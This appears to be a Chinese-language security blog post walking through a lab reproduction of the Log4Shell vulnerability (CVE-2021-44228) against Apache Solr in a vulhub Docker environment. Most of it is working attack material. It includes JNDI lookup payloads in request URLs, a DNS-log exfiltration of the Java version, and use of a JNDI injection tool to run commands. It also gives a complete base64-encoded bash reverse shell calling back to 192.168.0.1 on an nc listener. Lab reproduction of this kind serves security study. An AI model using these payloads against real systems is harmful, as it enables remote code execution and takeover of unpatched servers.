愿浪飒精神伴你左右,网络安全之路任重而道远。

CVE-2021-44228漏洞复现

漏洞复现 alsly 4年前 (2022-12-05) 1382次浏览 0个评论
文章目录[隐藏]

漏洞概述

Apche log4j远程代码执行漏洞,该漏洞就是去年杀疯了的log4j漏洞。apache log4j通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在JNDI注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响。

靶场环境

vulhub搭建参考:

Vulnhub 靶场环境搭建

进入到vulbub靶场的/vulhub/log4j/CVE-2021-44228目录

使用命令:docker-compose up -d #启动镜像,整个过程比较久,耐心等待

访问 http://yourip:8983/solr/#/ 成功访问到页面,搭建成功

image-20221121091205651

验证漏洞的存在

使用ceye平台接收dnslog信息

平台链接:http://ceye.io/

http://192.168.0.140:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xxxxx.ceye.io}

image-20221121091229003

获取到java的版本,证明漏洞存在

命令执行

(1)利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具创建success文件

执行java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.0.1

image-20221121091259543

(2)根据提示的链接,去构造链接

http://192.168.0.140:8983/solr/admin/cores?action=${jndi:ldap://192.168.0.1:1389/yp1nns}

(3)成功创建success文件

image-20221121091427854

反弹shell

(1)开启监听端口

nc.exe -lvvp 9999

(2)使用工具构造反弹shell

bash -i >& /dev/tcp/192.168.0.1/9999 0>&1 -> YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS85OTk5IDA+JjEg #base64编码

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS85OTk5IDA+JjEg}|{base64,-d}|{bash,-i}" -A "192.168.0.1"

image-20221121091321331

根据提示的链接,去构造链接

http://192.168.0.140:8983/solr/admin/cores?action=${jndi:ldap://192.168.0.1:1389/bwrcmp}

http://192.168.0.140:8983/solr/admin/cores?action=${jndi:ldap://192.168.0.1:1389/ymdqtj}

均可

然后等待片刻,反弹成功

image-20221121091331763

获取exp

关注浪飒sec回复221122获取exp下载地址


本文标题:CVE-2021-44228漏洞复现
本文链接:https://blog.langsasec.cn/index.php/2022/12/05/cve-2021-44228%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0/
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
喜欢 (2)
[]
分享 (0)
alsly
关于作者:
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址